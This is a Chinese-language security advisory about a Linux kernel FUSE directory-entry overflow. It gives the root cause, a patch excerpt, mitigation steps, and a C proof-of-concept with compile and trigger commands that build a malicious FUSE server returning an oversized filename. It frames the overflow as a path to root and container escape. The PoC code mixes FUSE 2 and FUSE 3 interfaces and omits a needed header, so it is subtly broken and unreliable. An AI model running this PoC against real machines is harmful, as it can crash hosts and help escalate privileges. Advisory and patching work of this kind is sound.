
一、漏洞基础信息
1. 漏洞名称:FUSE oversized dirents 页缓存缓冲区溢出
3. 漏洞等级:高危(CVSS 3.1 7.8)
4.漏洞所属组件:Linux内核 FUSE(Filesystem in Userspace)子系统 fuse_add_dirent_to_cache() 函数
5.漏洞类型:CWE-787 越界写入、CWE-669 资源域错误隔离
6.利用条件:本地普通用户权限、系统启用FUSE模块、支持自定义用户态文件系统;容器环境默认开放FUSE,极易逃逸宿主机
7.影响版本
Linux 7.1-rc1、7.1-rc2 开发主线内核
各发行版未合并上游修复补丁的稳定分支(Ubuntu、Debian、CentOS、Alpine容器内核)
8.攻击向量:本地(Local),无交互、低攻击复杂度,普通用户即可触发
二、漏洞原理深度分析
2.1 核心代码逻辑缺陷
Linux内核FUSE用于在用户态实现文件系统(如s3fs、sshfs、mergerfs、自定义挂载存储),内核函数 fuse_add_dirent_to_cache() 负责将FUSE服务返回的目录项(dirent)序列化并写入页缓存(page cache)。
原有代码校验逻辑仅判断:当前剩余页空间是否容纳dirent,空间不足则切换新page;完全未校验dirent自身总长度是否超过单页最大尺寸PAGE_SIZE(4096字节)。
目录项序列化计算公式:
dirent总长度 = 基础结构体头(25字节) + 文件名字符串长度namelen
攻击者控制FUSE服务返回 namelen=4095,最终序列化dirent总大小 = 4120字节,超过4K单页限制。
执行memcpy拷贝时,超出的24字节数据会溢出写入相邻内核页,可控篡改内核内存,破坏内核结构体、函数指针,最终实现本地提权至Root权限,容器内利用可完成宿主机逃逸。
2.2 漏洞触发流程
1. 低权限用户编译、启动恶意FUSE服务程序;
2. 恶意FUSE readdir接口返回超长文件名项 namelen=4095;
3. 用户执行ls、readdir等目录遍历系统调用;
4. 内核fuse_add_dirent_to_cache计算长度后直接memcpy写入页缓存;
5. 4K页边界溢出24字节,覆盖相邻内核页内存;
6. 操纵内核内存布局劫持执行流,获取root权限。
2.3 容器场景风险放大
主流容器(Docker、containerd、Podman)默认开启FUSE挂载权限,普通容器内用户无需特殊权限即可加载自定义FUSE文件系统。攻击者仅需容器普通账号,即可利用该漏洞突破容器隔离,读取宿主机敏感文件、接管宿主机系统。
三、官方修复方案(内核补丁核心逻辑)
上游Linux内核提交修复commit:45c05af36311624c,新增前置长度校验逻辑:
在拷贝目录项至页缓存前,增加判断:若完整序列化dirent尺寸大于PAGE_SIZE,直接拒绝该目录项,阻断溢出源头。
// 修复新增校验代码片段
size_t ent_size = fuse_dirent_size(namelen);
if (ent_size > PAGE_SIZE)
return -EINVAL; // 超长目录项直接丢弃
补丁路径:fs/fuse/readdir.c
四、漏洞验证POC(概念验证代码,仅用于安全自测)
重要声明:以下POC仅授权企业内部资产安全验证使用,禁止用于未授权渗透、恶意攻击,违规使用承担全部法律责任。
4.1 POC说明
1. 实现简易恶意FUSE服务,构造超长namelen目录项;
2. 挂载恶意FUSE文件系统,调用readdir触发内核溢出;
3. 附带内存破坏检测逻辑,验证漏洞是否可触发;
4. 环境要求:gcc、libfuse-dev、未打补丁Linux 7.1-rc内核
poc.c
#define FUSE_USE_VERSION 35
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
// 构造溢出用超长文件名长度,触发4120字节dirent
#define MALICIOUS_NAMELEN 4095
static char huge_name[MALICIOUS_NAMELEN + 2];
static int getattr(const char *path, struct stat *st)
{
memset(st, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0)
{
st->st_mode = S_IFDIR | 0755;
st->st_nlink = 2;
}
else
return -ENOENT;
return 0;
}
static int readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
{
if (strcmp(path, "/") != 0)
return -ENOENT;
// 填充超长文件名
memset(huge_name, 'A', MALICIOUS_NAMELEN);
huge_name[MALICIOUS_NAMELEN] = '\0';
// 返回恶意超长目录项,触发内核页缓存溢出
filler(buf, huge_name, NULL, 0);
return 0;
}
static struct fuse_operations ops = {
.getattr = getattr,
.readdir = readdir,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &ops, NULL);
}
4.2 POC编译&执行步骤
1. 安装依赖
# Debian/Ubuntu
apt install gcc libfuse-dev -y
# CentOS/RHEL
yum install gcc fuse-devel -y
2. 编译恶意FUSE程序
gcc poc.c -o fuse_exp -lfuse3 -lpthread
3. 创建临时挂载目录并运行
mkdir /tmp/mal_fuse
# 后台启动恶意FUSE服务
./fuse_exp /tmp/mal_fuse -d &
sleep 1
# 触发readdir,执行溢出
ls /tmp/mal_fuse
4. 现象判定(漏洞存在标识)
• 未修复内核:触发内核Oops、系统卡死/崩溃;或内存损坏,dmesg打印page cache overflow报错;
• 已修复内核:ls直接返回输入无效,无内核崩溃,dmesg无内存越界日志。
4.3 完整提权利用说明
基础POC仅验证溢出触发,完整Root提权Exploit需叠加内核内存布局喷射、堆溢出劫持cred结构体指针,修改进程权限为root。公开安全社区仅流出基础触发代码,完整提权EXP未公开。
五、受影响资产自查方案
5.1 内核版本检测
uname -r
# 输出包含7.1-rc1 / 7.1-rc2 即存在风险
5.2 FUSE模块启用检测
lsmod | grep fuse
# 有输出代表FUSE加载,存在攻击面
5.3 容器风险检测
# 查看容器是否允许挂载FUSE
docker inspect 容器ID | grep -i fuse
六、安全修复与缓解措施
方案1:升级内核(彻底修复,推荐)
升级Linux内核至已合并45c05af36311624c补丁的稳定版本:
• Linux主线 >= 7.1 正式版
• 各发行版同步更新内核rpm/deb包,执行系统全量更新
# Ubuntu/Debian
apt update && apt full-upgrade -y
# CentOS/RHEL
yum update kernel -y
# Alpine容器
apk upgrade linux-lts
方案2:临时缓解(无法升级内核时)
1. 禁用FUSE内核模块
rmmod fuse
echo "blacklist fuse" >> /etc/modprobe.d/fuse-disable.conf
update-initramfs -u
2. 容器加固
Docker/K8s运行容器时增加安全限制,禁止挂载FUSE:
docker run --security-opt apparmor=docker-default --cap-drop SYS_ADMIN 镜像名
3. 权限管控
限制普通用户fusermount执行权限,移除非必要用户fusermount执行位:
chmod o-x /usr/bin/fusermount3
4. 监控审计
监控系统dmesg内核崩溃日志、恶意FUSE挂载行为,配置告警规则。